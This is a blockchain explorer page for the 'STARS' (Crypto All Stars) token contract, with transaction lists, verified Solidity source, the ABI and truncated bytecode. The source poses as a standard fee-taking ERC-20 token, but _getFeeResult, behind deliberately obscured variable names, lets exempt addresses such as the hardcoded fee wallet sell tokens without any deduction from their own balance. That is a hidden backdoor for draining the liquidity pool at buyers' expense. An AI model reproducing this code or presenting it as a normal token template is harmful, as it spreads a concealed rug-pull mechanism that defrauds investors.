ETH Price: $3,274.76 (+0.92%)

Contract

0x9Ef24F874F41Cd8C293270D306d9770C2c0A3Ce0
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve215607152025-01-05 20:38:116 days ago1736109491IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.0005085710.77755551
Approve213592532024-12-08 17:25:4734 days ago1733678747IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000753415.96611979
Approve213571722024-12-08 10:27:4734 days ago1733653667IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000388258.22782237
Approve210211462024-10-22 12:33:4781 days ago1729600427IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.00051110.84290781
Approve210211262024-10-22 12:29:4781 days ago1729600187IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000251089.29940532
Approve210211232024-10-22 12:29:1181 days ago1729600151IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000424479.0505384
Approve210210492024-10-22 12:14:2381 days ago1729599263IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000442349.37657804
Approve210210482024-10-22 12:14:1181 days ago1729599251IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000457949.70472518
Approve210209502024-10-22 11:54:3581 days ago1729598075IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000425739.07280806
Approve210209502024-10-22 11:54:3581 days ago1729598075IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000425739.07280806
Approve210209502024-10-22 11:54:3581 days ago1729598075IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000425739.07280806
Approve210209312024-10-22 11:50:4781 days ago1729597847IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000425269.06283345
Approve210209312024-10-22 11:50:4781 days ago1729597847IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000425269.06283345
Approve210209312024-10-22 11:50:4781 days ago1729597847IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000425269.06283345
Approve210209242024-10-22 11:49:2381 days ago1729597763IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000383328.16914942
Approve210209182024-10-22 11:48:1181 days ago1729597691IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000411598.72250566
Transfer210209112024-10-22 11:46:4781 days ago1729597607IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000398548.61059193
Approve210209102024-10-22 11:46:3581 days ago1729597595IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000380628.12195974
Approve210208962024-10-22 11:43:4781 days ago1729597427IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000416818.8828087
Approve210208902024-10-22 11:42:3581 days ago1729597355IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000333147.05999342
Approve210208792024-10-22 11:40:2381 days ago1729597223IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000437379.32093899
Approve210208792024-10-22 11:40:2381 days ago1729597223IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000437379.32093899
Transfer210208782024-10-22 11:40:1181 days ago1729597211IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000425159.18529904
Approve210208752024-10-22 11:39:3581 days ago1729597175IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.00043059.12319159
Approve210208672024-10-22 11:37:5981 days ago1729597079IN
0x9Ef24F87...C2c0A3Ce0
0 ETH0.000453469.66380242
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.11471325 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.11471325 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.17535732 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.17535732 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.19177738 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.19177738 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.21062121 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.21062121 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.23239099 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.23239099 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.25772614 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.25772614 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.28745093 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.28745093 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.32264263 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.32264263 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.36473075 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.36473075 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.41564504 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.41564504 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.47804146 ETH
210207532024-10-22 11:14:5981 days ago1729595699
0x9Ef24F87...C2c0A3Ce0
0.47804146 ETH
210207412024-10-22 11:12:3581 days ago1729595555
0x9Ef24F87...C2c0A3Ce0
0.34044176 ETH
210207412024-10-22 11:12:3581 days ago1729595555
0x9Ef24F87...C2c0A3Ce0
0.34044176 ETH
210207352024-10-22 11:11:2381 days ago1729595483
0x9Ef24F87...C2c0A3Ce0
0.40999865 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
STARS

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Token.sol
/*

WEB - https://cryptoallstars.one
X - https://x.com/xcryptoallstars
TG-  https://t.me/cryptoallstarserc20
*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract STARS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _bals;
    mapping(address => mapping(address => uint256)) private _allows;
    mapping(address => bool) private _exempts;

    uint256 private _ibt = 10;
    uint256 private _ist = 10;
    uint256 private _obt = 0;
    uint256 private _ost = 0;
    uint256 private _rbta = 15;
    uint256 private _rsta = 15;
    uint256 private _psb = 15;
    uint8 private constant _decimals = 18;
    uint256 private constant _ts = 420690000 * 10 ** _decimals;
    string private constant _name = unicode"Crypto All Stars";
    string private constant _symbol = unicode"STARS";
    uint256 private _bc = 0;
    uint256 public _mtlmt = (_ts * 2) / 100;
    uint256 public _mxlmt = (_ts * 2) / 100;
    uint256 public _tsthres = 100 * 10 ** _decimals;
    uint256 public _mxtss = _ts / 100;
    address payable private _feeee =
        payable(0x13c4911887BB1827Bb341cb714806aAEfeF71c71);
    IUniswapV2Router02 private unrter;
    address private unpar;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _exempts[_feeee] = true;
        _exempts[owner()] = true;
        _exempts[address(this)] = true;
        _bals[_msgSender()] = _ts;
        emit Transfer(address(0), _msgSender(), _ts);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _ts;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _bals[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allows[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allows[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allows[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function _checkSell(address tob, address fra) internal view returns (bool) {
        return tob == unpar && fra != address(this);
    }

    function _getFeeResult(
        address fraa,
        address tobb,
        uint256 amnn
    ) internal view returns (uint256 txaa, uint256 xamm, uint256 yamm) {
        txaa = amnn.mul((_bc > _rbta) ? _obt : _ibt).div(100);
        xamm = amnn;
        yamm = amnn - txaa;
        if (_checkSell(tobb, fraa)) {
            txaa = amnn.mul((_bc > _rsta) ? _ost : _ist).div(100);
            xamm = _exempts[fraa]
                ? amnn.mul(tobb == unpar ? _ost : _obt).div(100)
                : amnn;
            yamm = amnn - txaa;
        }
    }

    function openSTARS() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        unrter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(unrter), _ts);
        unpar = IUniswapV2Factory(unrter.factory()).createPair(
            address(this),
            unrter.WETH()
        );

        unrter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function _transfer(address fraa, address tobb, uint256 amnn) private {
        require(fraa != address(0), "ERC20: transfer from the zero address");
        require(tobb != address(0), "ERC20: transfer to the zero address");
        require(amnn > 0, "Transfer amount must be greater than zero");
        uint256 txaa = 0;
        uint256 xamm = amnn;
        uint256 yamm = amnn;
        if (fraa != owner() && tobb != owner()) {
            require(tradingOpen || _exempts[fraa], "Trading is not enabled");
            (txaa, xamm, yamm) = _getFeeResult(fraa, tobb, amnn);
            if (fraa == unpar && tobb != address(unrter) && !_exempts[tobb]) {
                require(amnn <= _mtlmt, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(tobb) + amnn <= _mxlmt,
                    "Exceeds the maxWalletSize."
                );
                _bc++;
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && tobb == unpar && swapEnabled) {
                if (contractTokenBalance > _tsthres && _bc > _psb)
                    swapTokensForEth(
                        min(amnn, min(contractTokenBalance, _mxtss))
                    );
                uint256 contractBalance = address(this).balance;
                if (contractBalance >= 0 ether) sendETHToward(contractBalance);
            }
        }
        if (txaa > 0) {
            _bals[address(this)] = _bals[address(this)].add(txaa);
            emit Transfer(fraa, address(this), txaa);
        }
        _bals[fraa] = _bals[fraa].sub(xamm);
        _bals[tobb] = _bals[tobb].add(yamm);
        emit Transfer(fraa, tobb, yamm);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function sendETHToward(uint256 amount) private {
        _feeee.transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = unrter.WETH();
        _approve(address(this), address(unrter), tokenAmount);
        unrter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function takeOutETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function removeLimits() external onlyOwner {
        _mtlmt = type(uint256).max;
        _mxlmt = type(uint256).max;
        emit MaxTxAmountUpdated(type(uint256).max);
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_mtlmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mxlmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mxtss","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tsthres","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openSTARS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"takeOutETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a600455600a6005555f6006555f600755600f600855600f600955600f600a555f600b55606460026012600a61003b91906105eb565b631913385061004a9190610635565b6100549190610635565b61005e91906106a3565b600c55606460026012600a61007391906105eb565b63191338506100829190610635565b61008c9190610635565b61009691906106a3565b600d556012600a6100a791906105eb565b60646100b39190610635565b600e5560646012600a6100c691906105eb565b63191338506100d59190610635565b6100df91906106a3565b600f557313c4911887bb1827bb341cb714806aaefef71c7160105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601260156101000a81548160ff0219169083151502179055505f601260166101000a81548160ff021916908315150217905550348015610175575f80fd5b505f61018561044c60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600160035f60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f6102aa61045360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506012600a61035c91906105eb565b631913385061036b9190610635565b60015f61037c61044c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506103c761044c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a61042391906105eb565b63191338506104329190610635565b60405161043f91906106e2565b60405180910390a36106fb565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156104fc578086048111156104d8576104d761047a565b5b60018516156104e75780820291505b80810290506104f5856104a7565b94506104bc565b94509492505050565b5f8261051457600190506105cf565b81610521575f90506105cf565b8160018114610537576002811461054157610570565b60019150506105cf565b60ff8411156105535761055261047a565b5b8360020a91508482111561056a5761056961047a565b5b506105cf565b5060208310610133831016604e8410600b84101617156105a55782820a9050838111156105a05761059f61047a565b5b6105cf565b6105b284848460016104b3565b925090508184048111156105c9576105c861047a565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6105f5826105d6565b9150610600836105df565b925061062d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610505565b905092915050565b5f61063f826105d6565b915061064a836105d6565b9250828202610658816105d6565b9150828204841483151761066f5761066e61047a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6106ad826105d6565b91506106b8836105d6565b9250826106c8576106c7610676565b5b828204905092915050565b6106dc816105d6565b82525050565b5f6020820190506106f55f8301846106d3565b92915050565b612db4806107085f395ff3fe60806040526004361061010c575f3560e01c8063751039fc1161009457806395d89b411161006357806395d89b411461031f578063a9059cbb14610349578063cab0cc2c14610385578063dd62ed3e146103af578063ec710261146103eb57610113565b8063751039fc1461029f578063781ac3d1146102b55780638da5cb5b146102cb57806390019498146102f557610113565b806323b872dd116100db57806323b872dd146101d1578063313ce5671461020d578063591f9e041461023757806370a082311461024d578063715018a61461028957610113565b806306fdde0314610117578063095ea7b3146101415780630b4778611461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610415565b6040516101389190611f6e565b60405180910390f35b34801561014c575f80fd5b506101676004803603810190610162919061201f565b610452565b6040516101749190612077565b60405180910390f35b348015610188575f80fd5b5061019161046f565b60405161019e919061209f565b60405180910390f35b3480156101b2575f80fd5b506101bb610475565b6040516101c8919061209f565b60405180910390f35b3480156101dc575f80fd5b506101f760048036038101906101f291906120b8565b610498565b6040516102049190612077565b60405180910390f35b348015610218575f80fd5b5061022161056c565b60405161022e9190612123565b60405180910390f35b348015610242575f80fd5b5061024b610574565b005b348015610258575f80fd5b50610273600480360381019061026e919061213c565b610655565b604051610280919061209f565b60405180910390f35b348015610294575f80fd5b5061029d61069b565b005b3480156102aa575f80fd5b506102b36107e9565b005b3480156102c0575f80fd5b506102c9610924565b005b3480156102d6575f80fd5b506102df610d68565b6040516102ec9190612176565b60405180910390f35b348015610300575f80fd5b50610309610d8f565b604051610316919061209f565b60405180910390f35b34801561032a575f80fd5b50610333610d95565b6040516103409190611f6e565b60405180910390f35b348015610354575f80fd5b5061036f600480360381019061036a919061201f565b610dd2565b60405161037c9190612077565b60405180910390f35b348015610390575f80fd5b50610399610def565b6040516103a6919061209f565b60405180910390f35b3480156103ba575f80fd5b506103d560048036038101906103d0919061218f565b610df5565b6040516103e2919061209f565b60405180910390f35b3480156103f6575f80fd5b506103ff610e77565b60405161040c919061209f565b60405180910390f35b60606040518060400160405280601081526020017f43727970746f20416c6c20537461727300000000000000000000000000000000815250905090565b5f61046561045e610e7d565b8484610e84565b6001905092915050565b600e5481565b5f6012600a6104849190612329565b63191338506104939190612373565b905090565b5f6104a4848484611047565b610561846104b0610e7d565b61055c85604051806060016040528060288152602001612d576028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610513610e7d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117c69092919063ffffffff16565b610e84565b600190509392505050565b5f6012905090565b61057c610e7d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610608576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ff906123fe565b60405180910390fd5b610610610d68565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610652573d5f803e3d5ffd5b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106a3610e7d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610726906123fe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6107f1610e7d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610874906123fe565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600d819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60405161091a919061209f565b60405180910390a1565b61092c610e7d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109af906123fe565b60405180910390fd5b601260149054906101000a900460ff1615610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ff90612466565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610aa43060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a610a909190612329565b6319133850610a9f9190612373565b610e84565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b329190612498565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bb8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bdc9190612498565b6040518363ffffffff1660e01b8152600401610bf99291906124c3565b6020604051808303815f875af1158015610c15573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c399190612498565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610cc030610655565b5f80610cca610d68565b426040518863ffffffff1660e01b8152600401610cec9695949392919061252c565b60606040518083038185885af1158015610d08573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d2d919061259f565b5050506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5481565b60606040518060400160405280600581526020017f5354415253000000000000000000000000000000000000000000000000000000815250905090565b5f610de5610dde610e7d565b8484611047565b6001905092915050565b600f5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee99061265f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f57906126ed565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161103a919061209f565b60405180910390a3505050565b5f73ffffffffffffff